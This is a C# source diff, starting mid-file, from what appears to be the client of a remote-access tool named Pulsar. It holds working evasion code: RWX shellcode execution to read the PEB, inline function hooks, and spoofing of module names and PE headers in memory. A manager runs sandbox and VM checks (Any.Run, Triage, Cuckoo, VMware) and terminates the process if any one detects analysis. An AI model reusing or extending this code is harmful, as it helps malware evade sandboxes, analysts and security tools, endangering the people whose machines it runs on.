/// </summary>
/// <param name="InternalMethod">The name of the internal function.</param>
/// <param name="InternalMethodType">The class or type that the method is in.</param>
/// <param name="Flags">The method flags which will be used to find the exact method.</param>
/// <param name="Parameters">The parameters which is used to search for the function using it, will be used instead of Flags if not left null.</param>
/// <param name="InvokeParameters">The parameters passed to the method. can be null.</param>
/// <param name="GenericParameter">The type arguments if the method is a generic method.</param>
/// <returns>the return value of the method (if any).</returns>
public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, BindingFlags Flags, Type[] Parameters, object[] InvokeParameters, Type GenericParameter = null)
{
try
{
if (!IsReflectionEnabled(false, true))
return null;
if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null)
return null;
MethodInfo MI = null;
if (Parameters != null)
{
MI = InternalMethodType.GetMethod(InternalMethod, Parameters);
}
else
{
MI = InternalMethodType.GetMethod(InternalMethod, Flags);
}
if (MI.IsGenericMethod && GenericParameter != null)
{
MI = MI.MakeGenericMethod(GenericParameter);
}
if (MI != null)
{
object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType);
return MI.Invoke(instance, InvokeParameters);
}
return null;
}
catch
{
return null;
}
}
/// <summary>
/// Calls methods in the CLR which isn't normally/directly accessible.
/// </summary>
/// <param name="InternalMethod">The name of the internal function.</param>
/// <param name="InternalMethodType">The class or type that the method is in.</param>
/// <param name="ReturnType">The return type of the method to be searched for.</param>
/// <param name="InvokeParameters">The parameters passed to the method. can be null.</param>
/// <param name="GenericParameter">The type arguments if the method is a generic method.</param>
/// <returns>the return value of the method (if any).</returns>
public static object CallInternalCLRFunction(string InternalMethod, Type InternalMethodType, Type ReturnType, object[] InvokeParameters, Type GenericParameter = null)
{
try
{
if (!IsReflectionEnabled(false, true))
return null;
if (string.IsNullOrEmpty(InternalMethod) || InternalMethodType == null)
return null;
MethodInfo MI = null;
foreach (MethodInfo methods in InternalMethodType.GetMethods(BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.Static))
{
if (methods.Name.ToLower() == InternalMethod.ToLower())
{
if (methods.ReturnType == ReturnType)
{
MI = methods;
break;
}
}
}
if (MI.IsGenericMethod && GenericParameter != null)
{
MI = MI.MakeGenericMethod(GenericParameter);
}
if (MI != null)
{
object instance = MI.IsStatic ? null : Activator.CreateInstance(InternalMethodType);
return MI.Invoke(instance, InvokeParameters);
}
return null;
}
catch
{
return null;
}
}
private static uint PAGE_EXECUTE_READWRITE = 0x40;
private static uint MEM_RELEASE = 0x00008000;
/// <summary>
/// Gets the Process Environment Block with it's struct.
/// </summary>
/// <returns>returns the PEB.</returns>
public static PEB GetPEB()
{
byte[] PEBCode = new byte[20];
if (IntPtr.Size == 8)
PEBCode = new byte[] { 0x48, 0x31, 0xC0, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0xC3 };
else
PEBCode = new byte[] { 0x31, 0xC0, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0xC3 };
IntPtr AllocatedCode = AllocateCode(PEBCode);
if (AllocatedCode != IntPtr.Zero)
{
try
{
GenericPtr PebDel = (GenericPtr)Marshal.GetDelegateForFunctionPointer(AllocatedCode, typeof(GenericPtr));
IntPtr PebPtr = PebDel();
FreeCode(AllocatedCode);
if (PebPtr != IntPtr.Zero)
{
return Marshal.PtrToStructure<PEB>(PebPtr);
}
}
catch
{
FreeCode(AllocatedCode);
}
}
return new PEB();
}
/// <summary>
/// Allocates assembly code from byte array.
/// </summary>
/// <param name="Code">The assembly code in byte array.</param>
/// <returns>Allocated memory to the assembly code.</returns>
public static IntPtr AllocateCode(byte[] Code)
{
IntPtr Allocated = IntPtr.Zero;
uint Length = (uint)Code.Length;
uint Status = NtAllocateVirtualMemory(new IntPtr(-1), ref Allocated, 0, ref Length, 0x1000, PAGE_EXECUTE_READWRITE);
if (Status == 0)
{
CopyMem(Allocated, Code, false);
return Allocated;
}
return IntPtr.Zero;
}
/// <summary>
/// Frees the allocated memory.
/// </summary>
/// <param name="AllocatedCode">The allocated assembly code to be freed.</param>
/// <returns>An indicator if the memory was freed or not.</returns>
public static bool FreeCode(IntPtr AllocatedCode)
{
return VirtualFree(AllocatedCode, 0, MEM_RELEASE);
}
/// <summary>
/// Closes a handle.
/// </summary>
/// <param name="Handle">The handle to be closed.</param>
/// <returns>true if the handle has been closed, otherwise false.</returns>
public static bool CloseHandle(IntPtr Handle)
{
if (NtClose(Handle) == 0)
return true;
return false;
}
public static bool GetVirtualMemoryQuery(bool Syscall, IntPtr BaseAddress, ref MEMORY_BASIC_INFORMATION MemoryInformation, out uint ReturnLength)
{
uint Length = (uint)Marshal.SizeOf(typeof(MEMORY_BASIC_INFORMATION));
uint Result = NtQueryVirtualMemory(new IntPtr(-1), BaseAddress, 0, ref MemoryInformation, Length, out ReturnLength);
if (Result == 0)
return true;
return false;
}
/// <summary>
/// Installs a function hook.
/// </summary>
/// <param name="Source">The source function pointer to be hooked.</param>
/// <param name="Destination">The destination function pointer to be the hooking function.</param>
/// <param name="Hooked">The hooked code which will be written to if you wanna hook the function later (6 bytes in length).</param>
private static bool HookFunction(IntPtr Source, IntPtr Destination, out byte[] Hooked)
{
byte[] HookCode = new byte[6];
HookCode[0] = 0x90;
HookCode[1] = 0xE9;
if (IntPtr.Size == 8)
{
long offset = Destination.ToInt64() - Source.ToInt64() - HookCode.Length;
byte[] offsetBytes = BitConverter.GetBytes(offset);
Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2);
}
else
{
long offset = Destination.ToInt32() - Source.ToInt32() - HookCode.Length;
byte[] offsetBytes = BitConverter.GetBytes((int)offset);
Array.Copy(offsetBytes, 0, HookCode, 2, HookCode.Length - 2);
}
CopyMem(Source, HookCode, true);
Hooked = HookCode;
return true;
}
/// <summary>
/// Installs/Uninstalls a hook to/from the function.
/// </summary>
/// <param name="code">The code which is hooked/unhooked to apply.</param>
/// <param name="pFunction">pointer to the function.</param>
public static void InstallOrUninstallHook(byte[] code, IntPtr pFunction)
{
CopyMem(pFunction, code, true);
}
/// <summary>
/// The whitelisted function by the hook which should get the original function pointer.
/// </summary>
/// <param name="MI">The method to get the pointer for.</param>
/// <returns>Returns the pointer if successful, otherwise IntPtr.Zero</returns>
public static IntPtr GetPointer(MethodInfo MI)
{
return MI.MethodHandle.GetFunctionPointer();
}
/// <summary>
/// The whitelisted function by the hook which should get the original function pointer from the delegate.
/// </summary>
/// <param name="MI">The method to get the pointer for.</param>
/// <returns>Returns the pointer if successful, otherwise IntPtr.Zero</returns>
public static IntPtr GetPointerDelegate(Delegate DelegateMethod)
{
if (IsReflectionEnabled(false, true))
{
return (IntPtr)CallInternalCLRFunction("GetFunctionPointerForDelegateInternal", typeof(Marshal), BindingFlags.NonPublic | BindingFlags.Static, null, new object[] { DelegateMethod });
}
return Marshal.GetFunctionPointerForDelegate(DelegateMethod);
}
/// <summary>
/// Installs a CLR hook.
/// </summary>
/// <param name="SourceFunction">The method to be hooked.</param>
/// <param name="DestinationFunction">The hook method.</param>
/// <param name="OriginalCode">The original code which will be written to if you wanna unhook the function later (6 bytes in length).</param>
/// <param name="HookedCode">The hook code which can be used to hook the function after unhooking it (6 bytes in length).</param>
/// <param name="pFunction">A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function.</param>
/// <returns>Returns true if successfully hooked, otherwise false.</returns>
public static bool InstallHookCLR(MethodInfo SourceFunction, MethodInfo DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction)
{
try
{
if (!IsReflectionEnabled(true, true))
{
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
RuntimeHelpers.PrepareMethod(SourceFunction.MethodHandle);
RuntimeHelpers.PrepareMethod(DestinationFunction.MethodHandle);
IntPtr pSource = GetPointer(SourceFunction);
IntPtr pDestination = GetPointer(DestinationFunction);
if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero)
{
if (OriginalCode != null)
CopyMem(OriginalCode, pSource, false);
if (HookFunction(pSource, pDestination, out HookedCode))
{
pFunction = pSource;
return true;
}
}
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
catch
{
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
}
/// <summary>
/// Installs a CLR hook using delegates, for some software that have AOT.
/// </summary>
/// <param name="SourceFunction">The method to be hooked.</param>
/// <param name="DestinationFunction">The hook method.</param>
/// <param name="OriginalCode">The original code which will be written to if you wanna unhook the function later (6 bytes in length).</param>
/// <param name="HookedCode">The hook code which can be used to hook the function after unhooking it (6 bytes in length).</param>
/// <param name="pFunction">A pointer to the function in which you can install/uninstall hooks from using InstallOrUninstallHook function.</param>
/// <returns>Returns true if successfully hooked, otherwise false.</returns>
public static bool InstallHookCLR(Delegate SourceFunction, Delegate DestinationFunction, byte[] OriginalCode, out byte[] HookedCode, out IntPtr pFunction)
{
try
{
IntPtr pSource = GetPointerDelegate(SourceFunction);
IntPtr pDestination = GetPointerDelegate(DestinationFunction);
if (pSource != IntPtr.Zero && pDestination != IntPtr.Zero)
{
if (OriginalCode != null)
CopyMem(OriginalCode, pSource, false);
if (HookFunction(pSource, pDestination, out HookedCode))
{
pFunction = pSource;
return true;
}
}
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
catch
{
HookedCode = null;
pFunction = IntPtr.Zero;
return false;
}
}
}
}
@@ -0,0 +1,411 @@
using Pulsar.Client.Anti.Helper;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using static Pulsar.Client.Anti.Helper.Structs;
namespace Pulsar.Client.Anti.Injection
{
public static class Spoofs
{
public const int BaseAddress = 1 << 0;
public const int ModuleName = 1 << 1;
public const int AddressOfEntryPoint = 1 << 2;
public const int SizeOfImage = 1 << 3;
public const int NumberOfSections = 1 << 4;
public const int ImageMagic = 1 << 5;
public const int NotExecutableNorDll = 1 << 6;
public const int PESignature = 1 << 7;
public const int ExecutableSectionName = 1 << 8;
public const int ExecutableSectionRawSize = 1 << 9;
public const int ExecutableSectionRawPointer = 1 << 10;
public const int ClearExecutableSectionCharacteristics = 1 << 11;
public const int ExecutableSectionVirtualSize = 1 << 12;
}
public class AntiInjection
{
#region WinApi
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lib);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function);
[DllImport("kernelbase.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, byte[] Buffer, uint size, int NumOfBytes);
[DllImport("kernelbase.dll", SetLastError = true)]
public static extern bool SetProcessMitigationPolicy(int policy, ref Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY lpBuffer, int size);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref Structs.OBJECT_ATTRIBUTES ObjectAttributes, ref Structs.CLIENT_ID ClientID);
[DllImport("ntdll.dll", SetLastError = true)]
private static extern int NtQueryInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, ref IntPtr ThreadInformation, uint ThreadInformationLength, IntPtr ReturnLength);
#endregion
/// <summary>
/// Sets the DLL load policy to only allow Microsoft-signed DLLs to be loaded.
/// </summary>
/// <returns>Returns "Success" if the policy was set successfully, otherwise "Failed".</returns>
public static string SetDllLoadPolicy()
{
Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = new Structs.PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
{
MicrosoftSignedOnly = 1
};
if (SetProcessMitigationPolicy(8, ref policy, Marshal.SizeOf(policy)))
return "Success";
return "Failed";
}
/// <summary>
/// Detects if an address is in range inside modules or not.
/// </summary>
/// <param name="Address">The address to check for.</param>
/// <returns>Returns true if the address is in no module, otherwise false.</returns>
private static bool IsAddressInRange(IntPtr Address)
{
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
{
IntPtr Base = module.BaseAddress;
IntPtr End = IntPtr.Add(Base, module.ModuleMemorySize);
if (Address.ToInt64() >= Base.ToInt64() && Address.ToInt64() < End.ToInt64())
{
return true;
}
}
return false;
}
/// <summary>
/// Detects if an address is in range inside modules or not.
/// </summary>
/// <param name="Syscall">Specifies whether we use syscalls for the check or not.</param>
/// <param name="CheckModuleRange">Check if the threads start address is within modules range or not.</param>
/// <returns>Returns true if no thread is injected, otherwise false.</returns>
public static bool CheckInjectedThreads()
{
uint MEM_IMAGE = 0x1000000;
uint MEM_COMMIT = 0x1000;
int ThreadQuerySetWin32StartAddress = 9;
uint THREAD_QUERY_INFORMATION = 0x0040;
int PID = Process.GetCurrentProcess().Id;
foreach (ProcessThread thread in Process.GetCurrentProcess().Threads)
{
CLIENT_ID CI = new CLIENT_ID
{
UniqueProcess = (IntPtr)PID,
UniqueThread = (IntPtr)thread.Id
};
OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES
{
Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)),
RootDirectory = IntPtr.Zero,
ObjectName = IntPtr.Zero,
Attributes = 0,
SecurityDescriptor = IntPtr.Zero,
SecurityQualityOfService = IntPtr.Zero
};
IntPtr hThread = IntPtr.Zero;
uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI);
if (Status == 0 || hThread != IntPtr.Zero)
{
IntPtr StartAddress = IntPtr.Zero;
int QueryStatus = NtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, ref StartAddress, (uint)IntPtr.Size, IntPtr.Zero);
Utils.CloseHandle(hThread);
if (QueryStatus == 0)
{
MEMORY_BASIC_INFORMATION MBI = new MEMORY_BASIC_INFORMATION();
if (Utils.GetVirtualMemoryQuery(false, StartAddress, ref MBI, out _))
{
if (MBI.Type != MEM_IMAGE || MBI.State != MEM_COMMIT)
{
return true;
}
}
}
}
}
return false;
}
/// <summary>
/// Generate a random module name.
/// </summary>
/// <returns>the random module name.</returns>
private static string GenerateRandomString()
{
string Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
Random random = new Random();
int RandomLength = random.Next(6, 32);
char[] NewModule = new char[RandomLength];
for (int i = 0; i < RandomLength; i++)
{
NewModule[i] = Letters[random.Next(Letters.Length)];
}
return new string(NewModule);
}
private static bool IsFlagsSet(int SpoofOptions, int[] spoofs)
{
foreach (int spoofa in spoofs)
{
if ((SpoofOptions & spoofa) == spoofa)
return true;
}
return false;
}
private static bool IsPE_FlagsSet(int SpoofOptions)
{
int[] spoofs = {
Spoofs.AddressOfEntryPoint, Spoofs.SizeOfImage, Spoofs.ExecutableSectionRawSize,
Spoofs.ExecutableSectionRawPointer, Spoofs.PESignature, Spoofs.ImageMagic,
Spoofs.NotExecutableNorDll, Spoofs.NumberOfSections, Spoofs.ClearExecutableSectionCharacteristics,
Spoofs.ExecutableSectionVirtualSize
};
return IsFlagsSet(SpoofOptions, spoofs);
}
/// <summary>
/// Changes the module information at runtime to avoid modification/lookups.
/// </summary>
/// <param name="ModuleName">The module name which we will change it's information. if left null, we get the main module of the process.</param>
/// <param name="SpoofOptions">The spoofing options to apply.</param>
/// <returns>Returns true if successfully changed the module info, otherwise false.</returns>
public static bool ChangeModuleInfo(string ModuleName, int SpoofOptions)
{
try
{
string FinalModuleName = ModuleName ?? Process.GetCurrentProcess().MainModule.ModuleName;
if (string.IsNullOrEmpty(FinalModuleName))
return false;
IntPtr hModule = Utils.LowLevelGetModuleHandle(FinalModuleName);
if (hModule == IntPtr.Zero)
return false;
string Fake = $"{GenerateRandomString()}.dll";
PEB Peb = Utils.GetPEB();
_PEB_LDR_DATA Ldr = Marshal.PtrToStructure<_PEB_LDR_DATA>(Peb.Ldr);
IntPtr f = Ldr.InMemoryOrderModuleList.Flink;
Random RandGen = new Random();
for (int count = 0; count < 256 && f != IntPtr.Zero; count++)
{
_LDR_DATA_TABLE_ENTRY TableEntry = Marshal.PtrToStructure<_LDR_DATA_TABLE_ENTRY>(f);
string ModuleNameBuffer = Marshal.PtrToStringUni(TableEntry.FullDllName.Buffer);
if (!string.IsNullOrEmpty(ModuleNameBuffer) && ModuleNameBuffer == FinalModuleName)
{
if (IsPE_FlagsSet(SpoofOptions))
{
int[] SectionSpoof = {
Spoofs.ExecutableSectionName, Spoofs.ExecutableSectionRawPointer,
Spoofs.ExecutableSectionRawSize, Spoofs.ClearExecutableSectionCharacteristics, Spoofs.ExecutableSectionVirtualSize
};
IMAGE_DOS_HEADER dosHeader = Marshal.PtrToStructure<IMAGE_DOS_HEADER>(hModule);
IntPtr pNtHeaders = IntPtr.Add(hModule, dosHeader.e_lfanew);
if (IntPtr.Size == 8)
{
IMAGE_NT_HEADERS64 NtHeadersStruct = Marshal.PtrToStructure<IMAGE_NT_HEADERS64>(pNtHeaders);
if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint)
NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000);
if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections)
NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99);
if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic)
NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage)
NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000));
if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll)
{
ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002;
ushort IMAGE_FILE_DLL = 0x2000;
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE;
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL;
}
if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature)
NtHeadersStruct.Signature = 0x4D5A0000;
if (IsFlagsSet(SpoofOptions, SectionSpoof))
{
IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now
IntPtr pSectionHeader = pSectionHeaders;
int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));
for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++)
{
IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure<IMAGE_SECTION_HEADER>(pSectionHeader);
uint IMAGE_SCN_CNT_CODE = 0x00000020;
if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE)
{
if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName)
SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}");
if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer)
SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize)
SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics)
SectionHeader.Characteristics = 0;
if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize)
SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000);
Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true);
break;
}
pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize);
}
}
Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true);
}
else
{
IMAGE_NT_HEADERS32 NtHeadersStruct = Marshal.PtrToStructure<IMAGE_NT_HEADERS32>(pNtHeaders);
if ((SpoofOptions & Spoofs.AddressOfEntryPoint) == Spoofs.AddressOfEntryPoint)
NtHeadersStruct.OptionalHeader.AddressOfEntryPoint = (uint)RandGen.Next(0x1000, 0x2000);
if ((SpoofOptions & Spoofs.NumberOfSections) == Spoofs.NumberOfSections)
NtHeadersStruct.FileHeader.NumberOfSections = (ushort)RandGen.Next(NtHeadersStruct.FileHeader.NumberOfSections, NtHeadersStruct.FileHeader.NumberOfSections + 99);
if ((SpoofOptions & Spoofs.ImageMagic) == Spoofs.ImageMagic)
NtHeadersStruct.OptionalHeader.Magic = (ushort)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.SizeOfImage) == Spoofs.SizeOfImage)
NtHeadersStruct.OptionalHeader.SizeOfImage = (uint)RandGen.Next((int)NtHeadersStruct.OptionalHeader.SizeOfImage, (int)(NtHeadersStruct.OptionalHeader.SizeOfImage + 0x10000));
if ((SpoofOptions & Spoofs.NotExecutableNorDll) == Spoofs.NotExecutableNorDll)
{
ushort IMAGE_FILE_EXECUTABLE_IMAGE = 0x0002;
ushort IMAGE_FILE_DLL = 0x2000;
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_EXECUTABLE_IMAGE;
NtHeadersStruct.FileHeader.Characteristics &= (ushort)~IMAGE_FILE_DLL;
}
if ((SpoofOptions & Spoofs.PESignature) == Spoofs.PESignature)
NtHeadersStruct.Signature = 0x4D5A0000;
if (IsFlagsSet(SpoofOptions, SectionSpoof))
{
IntPtr pSectionHeaders = IntPtr.Add(pNtHeaders, sizeof(uint) + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + NtHeadersStruct.FileHeader.SizeOfOptionalHeader); //defined in here for now
IntPtr pSectionHeader = pSectionHeaders;
int SectionSize = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER));
for (int i = 0; i < NtHeadersStruct.FileHeader.NumberOfSections; i++)
{
IMAGE_SECTION_HEADER SectionHeader = Marshal.PtrToStructure<IMAGE_SECTION_HEADER>(pSectionHeader);
uint IMAGE_SCN_CNT_CODE = 0x00000020;
if ((SectionHeader.Characteristics & IMAGE_SCN_CNT_CODE) == IMAGE_SCN_CNT_CODE)
{
if ((SpoofOptions & Spoofs.ExecutableSectionName) == Spoofs.ExecutableSectionName)
SectionHeader.Name = Encoding.ASCII.GetBytes($".{GenerateRandomString()}");
if ((SpoofOptions & Spoofs.ExecutableSectionRawPointer) == Spoofs.ExecutableSectionRawPointer)
SectionHeader.PointerToRawData = (uint)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.ExecutableSectionRawSize) == Spoofs.ExecutableSectionRawSize)
SectionHeader.SizeOfRawData = (uint)RandGen.Next(0, int.MaxValue);
if ((SpoofOptions & Spoofs.ClearExecutableSectionCharacteristics) == Spoofs.ClearExecutableSectionCharacteristics)
SectionHeader.Characteristics = 0;
if ((SpoofOptions & Spoofs.ExecutableSectionVirtualSize) == Spoofs.ExecutableSectionVirtualSize)
SectionHeader.VirtualSize = (uint)RandGen.Next((int)SectionHeader.VirtualSize, (int)SectionHeader.VirtualSize + 0x10000);
Utils.WriteStructToPtr(SectionHeader, pSectionHeader, true, true);
break;
}
pSectionHeader = IntPtr.Add(pSectionHeader, SectionSize);
}
}
Utils.WriteStructToPtr(NtHeadersStruct, pNtHeaders, true, true);
}
}
if ((SpoofOptions & Spoofs.BaseAddress) == Spoofs.BaseAddress)
{
TableEntry.DllBase = (IntPtr)(RandGen.Next(0x100000 / 0x1000, 0x7FFF000 / 0x1000) * 0x1000);
}
if ((SpoofOptions & Spoofs.ModuleName) == Spoofs.ModuleName)
{
IntPtr FakeDllBuffer = Marshal.StringToHGlobalUni(Fake);
TableEntry.FullDllName.Buffer = FakeDllBuffer;
TableEntry.FullDllName.Length = (ushort)(Fake.Length * 2);
TableEntry.FullDllName.MaximumLength = (ushort)((Fake.Length + 1) * 2);
}
Utils.WriteStructToPtr(TableEntry, f, true, true);
return true;
}
f = TableEntry.InLoadOrderLinks.Flink;
}
}
catch
{
return false;
}
return false;
}
/// <summary>
/// Changes CLR Module ImageMagic to prevent critical info lookups.
/// </summary>
/// <returns>Returns true if successful, otherwise false.</returns>
public static bool ChangeCLRModuleImageMagic()
{
string CLR = Utils.GetCurrentCLRModuleName();
if (!string.IsNullOrEmpty(CLR))
{
return ChangeModuleInfo(CLR, Spoofs.ImageMagic);
}
return false;
}
/// <summary>
/// Detects ImageBaseAddress modification which could indicate code injection in our process (process hollowing).
/// </summary>
/// <returns>Returns true if the ImageBaseAddress is suspicious, otherwise false.</returns>
public static bool CheckForSuspiciousBaseAddress()
{
try
{
PEB Peb = Utils.GetPEB();
if (Peb.ImageBaseAddress != Process.GetCurrentProcess().MainModule.BaseAddress)
return true;
}
catch
{
}
return false;
}
}
}
+352
View File
@@ -0,0 +1,352 @@
using Pulsar.Client.Anti.Debugger;
using Pulsar.Client.Anti.Injection;
using Pulsar.Client.Anti.VM;
using Pulsar.Client.Config;
using System;
using System.Diagnostics;
using System.Threading;
using System.Threading.Tasks;
using System.Collections.Generic;
using System.Reflection;
//copy pasted / slightly edited from https://github.com/AdvDebug/AntiCrack-DotNet
namespace Pulsar.Client.Anti
{
public class Manager
{
private static bool _debugMode = false;
public static bool DebugMode
{
get => _debugMode;
set => _debugMode = value;
}
private struct DetectionMethod<T>
{
public T Method;
public string Name;
public string Description;
public DetectionMethod(T method, string name, string description)
{
Method = method;
Name = name;
Description = description;
}
}
private static void LogDebug(string message)
{
if (DebugMode)
{
Debug.WriteLine($"[DEBUG] {DateTime.Now:HH:mm:ss.fff} - {message}");
}
}
private static void LogDetection(string detectionType, string methodName, string description)
{
Debug.WriteLine($"[DETECTION] {DateTime.Now:HH:mm:ss.fff} - {detectionType} detected by '{methodName}': {description}");
}
private static void CheckVirtualization()
{
LogDebug("Starting virtualization detection checks...");
var vmChecks = new List<DetectionMethod<Func<bool>>>
{
new DetectionMethod<Func<bool>>(AntiVirtualization.AnyRunCheck, "AnyRunCheck", "Any.Run sandbox environment"),
new DetectionMethod<Func<bool>>(AntiVirtualization.TriageCheck, "TriageCheck", "Triage sandbox environment"),
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForQemu, "CheckForQemu", "QEMU virtualization"),
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForParallels, "CheckForParallels", "Parallels virtualization"),
new DetectionMethod<Func<bool>>(AntiVirtualization.IsSandboxiePresent, "IsSandboxiePresent", "Sandboxie sandbox"),
new DetectionMethod<Func<bool>>(AntiVirtualization.IsComodoSandboxPresent, "IsComodoSandboxPresent", "Comodo sandbox"),
new DetectionMethod<Func<bool>>(AntiVirtualization.IsCuckooSandboxPresent, "IsCuckooSandboxPresent", "Cuckoo sandbox"),
new DetectionMethod<Func<bool>>(AntiVirtualization.IsQihoo360SandboxPresent, "IsQihoo360SandboxPresent", "Qihoo 360 sandbox"),
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForBlacklistedNames, "CheckForBlacklistedNames", "Blacklisted VM/sandbox names"),
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForVMwareAndVirtualBox, "CheckForVMwareAndVirtualBox", "VMware or VirtualBox"),
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckForKVM, "CheckForKVM", "KVM virtualization"),
new DetectionMethod<Func<bool>>(AntiVirtualization.BadVMFilesDetection, "BadVMFilesDetection", "VM-specific files"),
new DetectionMethod<Func<bool>>(AntiVirtualization.BadVMProcessNames, "BadVMProcessNames", "VM-specific processes"),
new DetectionMethod<Func<bool>>(AntiVirtualization.CheckDevices, "CheckDevices", "VM-specific devices"),
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.EmulationTimingCheck, "EmulationTimingCheck", "Emulation timing anomalies"),
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.PortConnectionAntiVM, "PortConnectionAntiVM", "VM-specific port connections"),
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.AVXInstructions, "AVXInstructions", "AVX instruction emulation"),
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.RDRANDInstruction, "RDRANDInstruction", "RDRAND instruction emulation"),
new DetectionMethod<Func<bool>>(AntiVirtualization.Generic.FlagsManipulationInstructions, "FlagsManipulationInstructions", "Flag manipulation instruction emulation")
};
int totalChecks = vmChecks.Count;
int currentCheck = 0;
foreach (var vmCheck in vmChecks)
{
currentCheck++;
try
{
LogDebug($"Running VM check {currentCheck}/{totalChecks}: {vmCheck.Name}");
if (vmCheck.Method())
{
LogDetection("VIRTUALIZATION", vmCheck.Name, vmCheck.Description);
Debug.WriteLine($"[FATAL] Process terminating due to virtualization detection - Exiting...");
Process.GetCurrentProcess().Kill();
}
else
{
LogDebug($"VM check {vmCheck.Name} passed");
}
}
catch (Exception ex)
{
LogDebug($"VM check {vmCheck.Name} failed with exception: {ex.Message}");
}
}
LogDebug($"All {totalChecks} virtualization checks completed successfully");
}
private static void CheckInjection()
{
LogDebug("Starting injection detection checks in background thread...");
var injectionChecks = new List<DetectionMethod<Func<bool>>>
{
new DetectionMethod<Func<bool>>(AntiInjection.CheckInjectedThreads, "CheckInjectedThreads", "Injected threads detection"),
